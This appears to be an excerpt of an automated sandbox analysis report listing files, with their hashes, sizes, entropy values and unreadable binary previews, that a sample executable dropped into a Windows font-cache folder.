SHA1:	126A9A989EFA2DF2B244B4E05F20C6513F70099F
SHA-256:	2D306263639BE3F807F4E9C040DFFE641308188FCD90FD09B95E28EDFE33B277
SHA-512:	9EAD3E1A52EC9C45036E28F092CD381E03DD76CAC8DCFC93DC636DC965479FC2A3A3CA01C587C507D106C35EF40C929322774A2D7DB2595FEC18CC139514BDFC
Malicious:	true
Preview:	{.. i.x..`...}..""?.....R'.=.%..`."..uA..J......Y..iuSW.7.>#....x.,e.5....C..zk.2.N.8!X....?...k...7..hmP.......Ft.\|...o...(`..bd'..I..0.J..Y.`...7..........F..hw.\|#......[C...4!.+.&...=.Q...........6..BMlu..;.{@uE:]c....b...%.l.E.h..\..\......J..X..E.W$.........`28i...../b.%.CW....v.{N..].$..Qf.E.%i.+....?fK.#..Rn.,y.(P"..P....T....r..d...Z.[y..#......f..............B.0....m.4..\..t.b.v6.?\..T9.5....$~.....WV..i..{...B.a"...>....$....8..=I........V..#..(!..u..,...f.W.(p.q.2..=..5.>....X.!....+...}..+.z4.......z.%.<....{....M.(..y.(8.4}.V.>......>5..\| B...e..". ....Kc.n.T..A..W(S..uI..-..m<;?.D}O.}..fI...{....z...x....x..p..0.;1......E.v0.m...w..XE4.....LC.1$..e..e...........$8....t.@...4}O...C.f.S2.&.U.v...5W......0..8.u3.M...Qe..PV..........PD.k..-$.#..I....0...S'f'..q..b......>.X..~$...,@..b?Y;.>..,..H.9x....x'....).Z..V.......[.Jg. Y.......G....._S.y....a.].0.hU.+.........n...V ..qm.&.r<a.,...T.....F.N^1(@.w.ef.....&......*a

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.977707646919002
Encrypted:	false
SSDEEP:	3072:TQk7S8OJ/WeatspysNp82lGQPTjiWV/b/8Bw37ycnXSADG5S/2vJvT1nnpgSO5jH:TjSbpyszIwLlnXSARGJJnnpgS2UdiX
MD5:	8DE089FBE733793F720EBE36C989F9E8
SHA1:	99EDAA8A4CB06E490EAF819E56DEB40B660CBB39
SHA-256:	89BE8DFDC99AE273963BFE5F6121A483B5C389202EA3A00AA1FD6787587F154F
SHA-512:	B944921B56739C375FDE142788CB7886BD321910B1066B7A8BEB85B0907E56B44DAB9ABFA31499CE376B1E084EC3468824D775BF2A3CC8E7738F83FA3E762BD2
Malicious:	false
Preview:	{"Maj.....s_]....nY.....[K....".Zt.#....zM$../...a/_V.B.~.r....\|.k..Z.....G......._.].,.6.._.....PV..%....x[}. .E.pg...r7O3..0.Qy.+.9..C.tMNZ)....Q&.bV...~.O.o]....h..\...:.N.+.D.......IJ...V.8..V...Y......`F...7..c.u...6..8+WE.(..DF.....Ax...c1.-y$..q..w"....mv$..p.Q/:#IE[.8Q'..o-N.`v.r.Y.....[.^....G).Z..UJ.k`.3.:.H...\|v3Q/...d..3..<.X............?.\|z!.1..s0I..?.\|W.J.J..w..F..-.J.-~u6.v.UDm......1..W....."J.i.kO4.........).nVy..q....%...;ls..~y./fm...h.f3;..B.&..47.NT!..4F..1...D.)...C..g9.#.....@.....@n.G..!..>.".; ..[.L.ef..0....Yv...i....v...$...4.Y..&.4;..QC2.~..6:.U..b.Gx.5...S.E.~O.Hz...M....R........o?D...&............(%.Zo.2&....c4..t.^......-8....."..]VC......P..{#....Z.\...nF........@]...F....Io\(.o7...(...U3Ge..XSW.._#<]..PS....j.A.{.Y.F....C..G...wC.......G.C..7...)%?.....q....\..nX......d1...0.o...q...k..V*.F.O.0..,.+Ho.2...e.}?S...`,n...J.....\.O@.=W...\...U.T.!.~Wt........?...F.Th]...g-~.K.)....?.....4\.......0

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.902278148165327
Encrypted:	false
SSDEEP:	48:L71hmGu8SpGEN7S/AqKEezftOCg+w7IF6iFD:VIoMGEN2/UNACkk6i9
MD5:	386DE3A4235D5B2E591787951DA0FCE8
SHA1:	D401816B5B0E5CFC558DBE603115215808D4D341
SHA-256:	5238F7C24C73B9D25846739664119D30DB2CD1FFFDB5B144AC58A0B62427235B
SHA-512:	E553285112C2AB9E99CC07419551AFF0B39978D6DC50ACA8BDD0C0B401C3B5DAD5D3A886B1258B7D78FEF5A0E905E48CF06BE495AF9F26D1B4AA7C8A3EBFF066
Malicious:	false
Preview:	<?xml...:o..E.J.F....#`.O.`;."=u,.?.".Cu.t..S.nBE./..>oB.....kh...{"Q<Ys.._...l}.-.2....:.!k...n..MW..U..=0.0........."[.M..^k.A.P.=a.[...9....k..0.bD\|..X....z.?`..s.L..H.....R... .w..rM.'+....wR..)I..j.1...Ue].INP....i...+.u.z...[...H.$.......bjc..v&...W.. o.W..d`=^..m.....^....G.?..:.YT"Q.u.Z./.Z....&.\|<..\Nw.W^...Lu...:.2K..89.....ISr_.=....-..[8A...k]X..=hui..g...J;]...Q.\|g.H...J.,ye.q...... j.o.&..lM._g1..Q!.P.gYeh-F."..^.0.".....1$...e....z..\...=.t.6=4.~..k?..i........3M......&"....L./B.5F..$.D.XU.W.D.....<.E/.p...fU.......1T.F....;.VC...v[.....^....ym.ug....I...BTh.M.+.y....j....\|%.F@..~..p.:_....q#...I.4.k...A...K....... I/.7.3...&......@....M...R...'R...\|.........Gh..J...G.7q./E.d?..C..t.&.~.c....\,..-'.N.vi.N...G..ZJZc...[...v...n........:.^hrclS..?.!.P...h.)..E..j.....f....C^..ZB@0%.D....H2I..uy..q.I._..y.8}........yZ.S./....j.u..5...^....S5D..;.G0F....'Q.r...70H.x...@S...\|.2..`.....`4.Q..@..83Z@..8..ZA........?..Nd.....]...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.233974502884687
Encrypted:	false
SSDEEP:	6144:+C2D0vp1Z6dgFjIuiFGfR1JMDHSwAaa/dIDiA5:+q1g2FspGfRjMDy7IDL5
MD5:	F9401477263112F3F1249060FB18C8A6
SHA1:	51C544E7B5DBE5DDA433070CCDBD45223189C4A8
SHA-256:	9F13A9BA7DEB1BF3ABCF300983658818609B30919F7D4F56DAB8B66D0C0E18C4
SHA-512:	E3472094B600DDB46550D906ED96BA96B7F2A429E7E786301F67B570B792EAE76E7427FDFA360306057D7E98D17A98AFA601E3783B6059CA3B008921CBB1537F
Malicious:	false
Preview:	......\|....i&(..,G......9.s.O.t.E\..n..kH..ZU.k......I.....;A.rT...C....e.u.."p.j..,....[.'..z...c..h4.G...-..U.&C.......W.m.....:R.^..9.........J0..C._.......^#......"._N6.\..."..Z..=J......'+.1.n.B@...4.....{'&......>L........q.".._._A.3..s;.Xo..&:.VL.X....xh..;.F......%.vFT+._BV.DF...]........"...r..O...<^g..../...P..,.3..)&i...y..j......q..<.`..N./+.5. ..+Qq..o..6..n..xU\.....2U^...YE..H...Q....E?..Q....s..O..4bwD6..Q.<.Q..~4%9.....z.k.2Z.#..K.....j.L.$.v#..d\}..H.b<X.>.Rf...%.\..j..$.2>.j.CX..R)...d.O.d.`.d......R.<~T.v.\|.......j0;..H...5..S..P..lV4..^.l.b....&...4j....z......;.=v..y9..L.>.=..}.dX&s(.XO...w4...{..]8)..]ga...X....hf....C%S.....ne..7..+#b.N.{dV...I..G..W.......pT.,&,..Y..*.../...ZNFVhH..!C.......MM..$....D...2g....e..E.r.Z.ECe}.g.....~JY....r.V6....6i.:.`.......Cp.q.....\|p.."..f6.Q..um.]..X.....=_.....Q[./<a..15.E..'..\|Om..K..t...J:'.+&SWB1...!5...u.Bm.e.n\|$.qj.....y....T. .g.n.....................eCp../........\|>.r..lU...5

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.263187454272399
Encrypted:	false
SSDEEP:	6144:/r4FN2LIAUBGHlfZ05jHpWbKam7GwCYusEpW:T4FNOUwHs5jHIby7GFo
MD5:	818FFA73EF626C16C9B9A6C707D36B61
SHA1:	E2C3907A934179A1A050F3A8DF46937A6B3AD98B
SHA-256:	3FA6F86B65C76ADFBEA7DFEABA532F352806F143124B554788C78CD72161508D
SHA-512:	CBCC9658478ACB547D6BB59D6CA3FF56AFF21229435374717125584D85F0A798136E88A3CB709103D550193D3C03E319A026BC23CD7F747326295A1003FD2FA4
Malicious:	false
Preview:	.......^.1ZD...$.z....M.9....p.......m...I.&../.C....W0n....k/#<..e...wA...E}1.r..I...u.7(.m'^.M^...Uq....OI..UM/].g......C3V.cc!I(....C77...#\|8.A.y...Y.sfUu.+u.K+...8`...L.(.....e.i..d.#62 ...aN...m.E..r.t.....".\$E....k..,..j....o..).8...r..].!H.W..P?w.......]..K.V.r...i\|.b.~Ojb.@q..w...........h.}...;.......2.c.`....B=..I2...]...p.S.v.fb..0..H!.".huB#(!..Q......y.T2..u.p~.5~.P..i.J..........7@....k........G5...#4J..V.h..$.GQpW...P.9K...$.4;.9Y....s..{G.. ......2a$S.\'.s.o9.p&=......J.......In..[.......Xi.:..u.X.k$V."_}.......\..Q.e..j.e.j.t`.. ........%N.\|....\A......M...`.j+....>...>"..Z.r..p.3..+ey...v.J....+..h.{.0.ya....w.....D.v...1.....5'y4.H....9.H...O6..$..K\|.\..q:..O....7..C.X.......[.......^C.gx1.kTI.i/....A....vf..&.....R.@>....y..LP}64..J.....7.N.?...V.......(.._.'...3@.....$L.........V...b.......y..@.F.i...QvLcDw\...T.k.....&.I..)h....v...&0C.ysX\|...0.Q.C.j_. .5.r.....Yr....Ve.........9.g.y....v..0..v..d.AT...../.z..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.258631106833461
Encrypted:	false
SSDEEP:	6144:DH5F/VFGGTMdGRMOfJVtBVD9dp+tsFOsWSvq2+:r59VFGAdVtBdotsd0
MD5:	7D12C8B963135F50D89284722E10447A
SHA1:	6F7EDC6F4F38B1B0C63643D2A1CA2280B12D930E
SHA-256:	450FD18A6A7C0E2C5280F0CF38C9B62DEC6951EEC9BB697EB3D211BDF3551AC9
SHA-512:	BAC67E2D042C03C0FB33EF398300EBCCCBFD83324B8E3E0BB5185F831EE3E26B8B0B5142FEABE236061910F5C976BD53EBF7679AB1A6876AB4CEA2A601B05C9B
Malicious:	false
Preview:	......E.Mu.}....7.S.E.x..u<Z...Y...J.. M.y}....`%.B.4+S...u...oN..:8...d6..u..8!.,............?6... dZ.-.../7G/.. q.e6.\|.....nC...(P..Z.A.z:=.\|.h.Q.!.m...........Q.XQ;.BW,E.'...;..9'kIz..M)&..Jfy(.5....4......\|.i.(9..JX.C.....[.;k.5KA..2.q...Ks.'.\...)&.].!'<.c.nM\<..."_P.}....n.O...@[.l....v.fX...+....[`f.=CK.(...'.k.a...vP..K..%.Y.. &j..........#G.4.w....}..#{.-.6j(.US..e.M.^....0.)...k.].P....4.F..6.'..g.1.J.......H..s..+...w..O.e.k P.V......Q'U.ry9.=.^`.....8.&.....-....."7.t.~...T&.6...o\|.Q5..m.S...!\<..V....5...L..c........E...I.F....%@T.%.Ve.9....Q......-..a...2.I.\|...!..83....S.x.^..d.7{A....X.-..Lu.,..K..i.2<.8..E....h7....G....Gao....S._.....y...U.....t.#..Yh.j......e...%m.....p.!....c.......j.e.....4;hIuh.\.w...vX.)....L..Eg..1\|+.Q@...q..D..+.3Z'......2Z_..tR+.....T.....G/...4.rO....A...b..........(%....).X...$..?..v..1T..q..'.w m.S..D....O'..2..(.....W!;i....MG J.m..'.HD.^.<.L.Y.t..U%...A..Ao.M..@.952b-......ng.........MP.]mc.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.233455467097541
Encrypted:	false
SSDEEP:	6144:dXKlvQluugcfWlWS+4riIIFv8YkDWCsXEPxBvdb/tDpA8:dXKl4luuu/r7IF0Yk6pErdpq8
MD5:	CDD0E3ED05103EC0C97FC72A2404C7CC
SHA1:	9C95BCEFC144169629E5C1D23A907E050C2CAF8A
SHA-256:	D2950CF5ACF2872DF6411779FF5751E521FC2BC25748295E273A58A40120965B
SHA-512:	D246A55680DFC2393BC4C81EB2768263DFC98E44AEB90005002BEACA954D6A394A21D34D66F9F49D9CF92306D261E7688E2B18BB0051F5B9DC6DD4487A1030AB
Malicious:	false
Preview:	......Z.+5.........M...mj.2m.k4...%...o..q.\S..2.C....9..s..]......)b..f[m.o.0'e.L..$'Z.i...d<..0.i^.H.$......:.I3.z..1..q-:.<.E#l.js.[D(.q..LIM.!.....S.)...>....S....z......T....C....q.Z:.Hgt...(..y(}......I..tP ..._M.ki...+.Km=.s.A.V$wt....4....xK../..EKCR.by`..0..Q...i..4......vv....,.(.4[...A.%sa.....f....?t.9;..kb.C..>.{.E.y.3..\a....+.......^t.Z..x(./..<.(.....j...r.f.=z.@...b.....h^,.......eM...........'.@\.".:5.....9.f..'h.<.tFIkH.U....e...#.\7.Z&.J._..........9.e.....6..<.#.-.M=.JM..w>_6BOQ... ..n3...aK...a......<+...9Q...4L.J.D0?M.CQJ419.7......\=...f.......q/.py.s...(.\|[."..Q........N........S(C...7.l...R.f.n....GX.m%. D.>...R....$C.\|.-JL7...G...d.L.pRq....u...^.....e(.g.-1.....r...5..\._.O..5%.qy...GT..Np......9.h.... .>...2..m...,.E..Eo.P..(.)._.=.i%.....9........$.Lk.O3..P..$.R..Yn#....4....\|".l..?..i...@..il....8xh..N....V..,...G./\|...72..*\6..!.H......I.x...t.h.W..F......M.....^...Zq..."j.Y5...w.9.h..n.D.._p.[.6a..j:.j[5....4

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.237729266476921
Encrypted:	false
SSDEEP:	6144:J7OZzrk3WhsVvBLQxh6JUrZn2xzsuV4icu:JSZzr/qVdQxh6JU9n2xznV4ju
MD5:	8E0D66DE5A43579362DCC6883874A1A6
SHA1:	504A0322C2B1788C6E70388D51B45DED572D9C8F
SHA-256:	ECA51D2D83022B09B776D32B753A862F3FE0B7FCA423B59EF5812DA794A8B57F
SHA-512:	7B0830C2E3CE7E55920F733C7033093208DBD4EE7AC975E54AFA587CAB82937C89AAE090BEE035CA71BE48653B081B5B510D7F58472D007B066CAF1FD0B09EC9
Malicious:	false
Preview:	.......e....M.N...8..Ba .......k.u.I...J~.2.yJ....(..T.../.Or.&.......Hk.}....9..n.R...eBm.....W...E.Y.Ewh,..T.{.\pYS.p.M.g.Ky.......4xxAn/......XB.[.......I..sL..]q..H......h_..o.EY.h.>..X....8.>Yi.G.9\..0.q..X.5.by7...5....t<...g......'.A.P.v.fv.M..."...]..)..m]:.9<...3..r]..B...ASU6@>F..I...../.]{Uz.U..l.8...9...<L..p}>B..;$....~.b...xk=B....%.....!..d..G...W"..AUQ%^Tx......}....[Wf.2).yW...g.......E.w...@0...Q....kN..d.>e2ko7....s...Y..^.!.3B..&....5..P.Z(.~...V+.89.R.)o.+_o...rb....N.\|......S.^"........7.\|..a.l.[......;.B...vC...t....d..].....TO9..<.P.=P.>f...^5.!$D........!.......@.uR..4A..rm.t.......:.q........82 ..>,..}.=........c+.....B....~.>...Sgk..'.lQ.V.GD...!.....V."........Fcr..........vlk.'..$...D..13wv......#'h/...t..KW..8\.Z ....h.e..Z..G...m0...K..*....o..ezK&..W.`......!...L...?D...+..@..+..X...OE.y{r!.,&.W5hP..$.MN~.#O...7..@..4p..+...x5....\|.........jt.#[.......6.qp.......s2qcO.UR.vB3!...........Xps.r.h .....Je....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.260391026541745
Encrypted:	false
SSDEEP:	6144:0/dh4oPVr8jACEZzMknIasMOphDtPcwBC:MBrMOBgJtPcP
MD5:	AFCEE79078E79D1EC7B0D02FF010CF58
SHA1:	D03312AAB70483508C3E70635A9CF6F64E704F38
SHA-256:	98ABF9FA4C61F19D73AFAADB781D815E9C436B3F16754E44CB950BB9BA3BBE66
SHA-512:	F2662DAE99C2E9D447EE22232F194EECF26671AAF9001A8537C76D53AE90D41E51D6CFD38ECA21494C8120708CD4FF0ADDF2CE58B57341660CC10B7E2F2FACCC
Malicious:	false
Preview:	........._..<..,9....sT...%....1..U...rY..L:.-:...#..P8...w.....I.?b<......=&.C.1..]w........Y....=.H..VA.....F"..m.el.....g....[...K.X...Kk..... .A..J..u...~.\R.....?..y?...Uy.............[tj.d...&Q..}.S.b...T....`5)....K.....P%.o.A..ar(xp.......p....".!1Q}?..Q.5Q6.:....x'.DZ..1.>.&........;.(g..6v..:.N..~..O=.g.>.n..HO..''.u-gV...C..O.HR..U..y...\{;uU..l.I.m.`.L..?..j.O..'.Y+..g...-jA{k..P..a..[6.=.~.#.).<.w4,...&..ks..`.}.W.Y...\:.x....{5...e^.2..`..2/vc........itd9Y....:...v......d6...X.K.1.t\|....!..>?c.2.....x...U`....p.!..#...'......Q%....7.W...;H..........9.....@...w.....@..kQ...vQ.....0.w.!.-....C..M^?.U7....T..K~...n.CCnD5...b..V..)......w...-H_.{...k.P...Q?............yd.3..n.V..4..'...eqg.\\8.[.....&.j6.KS..?h.O...n..4.`..]..`..d..Y..7.!,N...I..+.z..x.@o.4.7..{.....m.nHJ.....g..\|(..AJ.<.}\.P~...;.j...."!..-...n...............?.^.R....r..O....B......h.~......}...Mb3.]...rD.T5......,.M..48+..Q..p..zw``TB....<..W....1..>R&

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.238749373025423
Encrypted:	false
SSDEEP:	6144:E2MdD4Zm2Woj/KKaS7VR8+AcoEK1a9mdqjcP:EBflogya+mEKYq9P
MD5:	EFC3028971B63C5973C8C6F0885B21A2
SHA1:	62A36FA23FECC1C7E6AB036D3F379A392E6377E6
SHA-256:	9F564BC4854F767CFF7F182864D4CC31D8D64697A873772054118E9919CC8FF6
SHA-512:	7F9E2CCECF3BA87D1A1EFC14EBDDE564593D076EF082866F6F1195C92554925582E875B44B62FF94D084C2C91021B215B7CE3CFB1865FCEECC742CC3DB22E595
Malicious:	false
Preview:	.......'.i...BW{.O.2...v-..3h#.K1@.h..........PgW7..P.s.04..~;..4..~M.O_/...M.K.V.bkH.'..e.S...p..,7...L.-.....r....V<.z....l..I.op.3.I..a..C~.(......yb.9.D.S....E.c...!#pC....].i....Y}.h(_?.......a .kJ.8w......Q2...]....Z..S............vw\..T%z...B.Ho.b. ....uW...?+.7q..`0.$....q.8E...5.f.....]p.p.u0.l.`.N\|S....=.Tz.....C.r.O. pC.a...m8.>..1..F..{&.<,.I..zE.j.Zz.s.Q.^..u...Nj:..e...@.M...}....s.~..yZ..v....aX.>;6.:X....W.........Q./.Cvx.q..J..XC...o.[.2..L6.c..5..L...8y.Y ...M...i..p.>...Iy;}.M.W%<W.._...%.,.....=Lk.B.&.E..........\|.......S.wLbw.L2..:.4..3...;...U.I...0(L..'..f.j..FS.-}.v.q@.B.c..K,...5....Ei..`Q.2B..(U..P..OQ....?4.u..FK...a..,2.i...`.)D.D......?....p.9.DC......8...D.E,..R...U...^\...(g.%......J.[uK.;.T..he1KB...{ ..0.....!....'_..Z<...\..X...d8d..gN.K7.?..Ij._.!k......J......&.`N.sn.3...c.....b85.q.......v.^v..0F%<.`.n...*&....u....D.....M..x...U....of...`.2..o..Gv......Mt..b_..,U....=.`E..k7..z...T..a...kC..{...x..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.264641999755995
Encrypted:	false
SSDEEP:	6144:DlWCop9qmEjyJzz8KtNT8rOBzQ6yqU/qg:Dof9E24qNTPyRv
MD5:	6B5FDD4C0A70891352CF7D3BEB674597
SHA1:	9CC819F3D4B90B367F26580FF8F7A467511E9992
SHA-256:	89FBD30CA98628427086646CC68292B3AE476B37E833CB431ABCF411FCF2D445
SHA-512:	2B5DEC19914275FA4D062AFE3FAF601C39060F4719C9191A068E58ED3A163694F0ECEAA6FCA3BD593D3980720FD33798B31DEBA2D3DE30AA2AE8001FA9DED8FA
Malicious:	false
Preview:	.........i....X.../.#...Wd2H..!.W.u...2...O...7..0p....>...'.J[.J..>.1...... ..U.....G'<...Ib.].E...(.~.:!m1....c..>-f0............"P.C.)..=...v....;..B"..&-.}.2.,..Y.H.I.+...v........Z_..q..\|IV..(...UhT.y......../.iP...L..E.....f..(..DM\....l.`#e../..N.......[z....=...b.b.M..7p.3..s..!'..c].z~FZ....B.F..f.....$........T.h.2..t...(..W.....S.....((t.g}..k.w..h..U.o..S...B.....x..... s...h..:.'.......0.h..5.~6.0..p.w../.....bPZ..)..J...._..m....c....x.S.@...@.J..~.....=R......Mj@h.t..3.G.@n........!..../........8..~.....H..U......l..1}T.<!.).k{SM>Y......F>.,s....T...:..:..i...9..E8..Vc.6a....>..G..K.......,%\Tf2...O.d.&f.\|..!.}d...^.5EW..Tw....^.G\|p..:...r...C-....n.....X.x.......z..Z.!-.t.=...^->......<..<r...61nH.}#&R..'.,..\.Y[...@9..._....6h?V.0.../.....\|...:.`\|;f.F.d#Qm.1..:.1s....-+.....1U...K.}....`.`)PH.]........T..,.(~.......I.\|...("..........o:..sJ.8,.0.2.A.d..<....D5~...V.0..y.0.a\|4Z .l...~.+.....2.8.3C.c.I..?....e..n.D

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.2348307338098135
Encrypted:	false
SSDEEP:	6144:mG4aNbkfaCokq2zeauUgeGZ0thQYYiQxvdb/LIAq:mG5Cfaingy3QYYbd3Vq
MD5:	E0F818FB1E0C89DA7519D90352ACB69B
SHA1:	6DB2B4AB3C3E8159990CC09556BA49843AE18B34
SHA-256:	0A516A9D4CB712F811D4584D257CAEC839931F33D3C6FD0FA9D5E28667173DB7
SHA-512:	10C770C993492EB71064F2B9DA57550FFA7CD32E9415ECC65497824EC4CF5C0C52E35AEC4FADD14562AE8D8E6C0EE9A646EE7291CEBF3C03C6F1A11949FA1910
Malicious:	false
Preview:	.....J!.4p7.(..a-.:..;...A..:9.3.$]9..VZ....xAE....VgdV.q..j?#..z.=:.c.\.]"....?O_=....+l.R......f#....Z...D.....$...9....#y...}.xz{.sg...0a,..Sl.R...F..v.}.....;.....b.1]eU\|...o..+.JN.......O...I/>2J. .;..e.nN..Y.......0..... ..(.j..n...]%H13..@".y8..m..._.E.9e.....f.....'.HY..c.._.{...w...4`..z..p..x.......M\|.....~.......%/a...+......?..r...m..`..(2U....Eo(..J7...~.."..gA..=...c....E.)..Q.`U..h...A%6q..a....@#.....YI@......24.......G.[...!...^q...Y2%~.!...).T..j+.U....&...F. 2.....g~.4....&#Q....:U>...q.ND...O.2..5..K.yi....E...`. U......b7....T.z.oy._.M..!..j.-...d.@..j.@$!.f.....7k...[rG2.......'L%.L@.!..g?...na..I.@ ..9.C"f2....`...^D.ii.r@.2?+!0..x.jjD.......Q....?.Z.+.......`..a.....Ov;r`.Z..._.]....3[.1M....`.../. .g.ao..={Y7..q...Y.Q[.Z.+.^...d......~.'.Ey.y......Asy....M.G.Di......!Y.&.5....@.L....$.d....IO.e}6....]....X,.Q.].X.G.xg..p.$...>..V...u..y8.G....Z...K............A..{#.qb.g...,.k..2.....\|\..;.Fm)....\|B...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.261865967716119
Encrypted:	false
SSDEEP:	3072:Q36HQqe5eIp2bgNAzGhVLpZjPxOPjFGjZqjkbStXE/XlECPuebBYHTXe+XRKIvpI:Q3oQqLfG7p8BntXePBYHLe+Vi0y
MD5:	7DA73153AFCA2B11AF7E64B680283743
SHA1:	73FB5312CF39FFE5CE4CF9E306834C913F580D33
SHA-256:	39EEC428329E41ABE879BC55B869D56D27A045F7660E1EBB92868B9BB804B840
SHA-512:	D98433AEF7624B36F05B3493282DF4AD99310ECCC70A4C86E9FC8B72C7E11BDAD220312BC427F319C98ED02FE7F4FB48B5E61D37CADF627046C60DA11898221A
Malicious:	false
Preview:	.....}..J..a....dk.}.w. \|......\.W.6..F.a.7.\.2D......~+Y..y.4R.klr..-=.n.WM4.g...S.8_.Hh.....S.T.pO.8.................vz.S.........1.D....U%_..hj..a.D.O.b.x{x. \|.I.......=o.....6..._t...wr.G.'...Q....dW.....i.=Oy...1.Q."...H..7.<.#.4.z2FX.m<S.-~.<.Y?}~.sN/.p^.8{......s..v..D.y.m8;~2_.......)..N...K...G..:\|.}..............j.".kF9..u.......s@[.Yd?!..}..\....7.e..&<I..B.c..J0Rd..6...`.-.eV`!..bPEd.............}.E .+....L.....'...\|n.....}Tc...........<.R?.D..$."Rll...b.uv......~...F....%..Iy.b2..`..'....v.k_.T.,..o.+...(...~bP;S.d)..Y^5.>5..]X+.9..J.hZ........_AvK!....3.}...D..5.?...~^l..[..t}$x.6N7..h...#....o....=./.!x......}.......N...X...1......Q."........AV.A..{1..o5_P...s.^.c.7(oi...\.J...0...V....Z[..i...^n.u`...#Bv.W..P%.....y..[...z..}.[8Tt.{.M...RG+A.<#........6..R;.w..<t.-....LO.....a...P..m.:.....T.E.y......Ay...^m..9c0!V.O..Gw.cx..Q....O.Y5....n....+-.cZ...C.......$...........7..1_.Z^t."M.H..X3..20.z.'.'8^<..zB*...$%z.m..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.2332820267770055
Encrypted:	false
SSDEEP:	3072:SXfl5pDfgWW1PPKET6hh0J9njz72O7lQ8KA2JyHgN8eW/ukIO2Nppdj+cdUAvAw:SPl5r272gQ8YSgPW/QOa/dKF2Aw
MD5:	D414A9B9831D5A859F1861E396695E29
SHA1:	9050A0BE2C5C38123A20C146A5D41F3D26676B25
SHA-256:	DFBB49E7FF8BC7BA7C751F3D912BD4A64F3B68C31F732574CA98F513BB5738AE
SHA-512:	0F3243E0263EC84A12B7CE11E1C1BA926E2AB50707DCE209497B194D83A6C9C67678B80B085BD621D4806137BC19AFF8E36E0E074E134706932C4BAA264CA675
Malicious:	false
Preview:	.......C]...J.h.<...Ws...u.]\9m.I-v.......^@...uO........^{y/./...>.w.a...d..WF\|...&.........d..M..fL.h.~\..Q..T..&..Z ..(....\|u..=_.....-@.......}V..X..g......0...wS.........M.....J%.<..4.M?.H..&....@...j. I.j.6..m@.Fy....QG.H.......U~..m/...uN4.7..r..4...p...8...C-8g.K..6.?...!.....3.S)...QO.W..(.#..x~.....>.r.C.v5....'r..Q.>...6.f.4.8I.6..x~..g.:.4A...V.i=l...."XZ.;..E9.....fc...^L.....d.pc..S....}..Vb....<. ....I.<.6...T....OT`.M#......@Z..i. ....rk.....%.<..W.KT...4.....J.j.E.iGy.....8.zN.....$.....a..#.....5.l,...j<.J+J....mg. ........{....E......z..q....W....%.......E.N.k.;....{.dm..<ts...L.8...'.....\|I..1....#.....F........'.L..;..?..~...:.^..#&..F..l..T.....+..X..\.T..88..:7H.Y.',._G74..Q3.\|lL6..:.J.),.S..I.wy........hq2.5.....3...8.Y.j....8..].70..2./....kr\|vg._..$..r...(....Z.X../......oE.S4..e+n.P..B../.....WDY..f....n.(..R..=+..qi..Q.)P,..`.c..8....u..d..8.[.T.e4.h......m.J..$.\|m..g!.({..^.gixQ:...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.264347705571148
Encrypted:	false
SSDEEP:	3072:VJyU35GuxiGvcw/RhHGVw7QTgv2qfy+Ayw3q3N6hCnecDBblr:VJZ3F01GQC2BLyw3q3kw1DB5r
MD5:	95BFAEC14EDEFDC70E3EC6DEF2C42907
SHA1:	229D812D45913D895B74322BE82755AAD7B3FA60
SHA-256:	A00F73F915458F92AB976EA93778C81E0F341BD7F0BD783FE2E94B78B8D52614
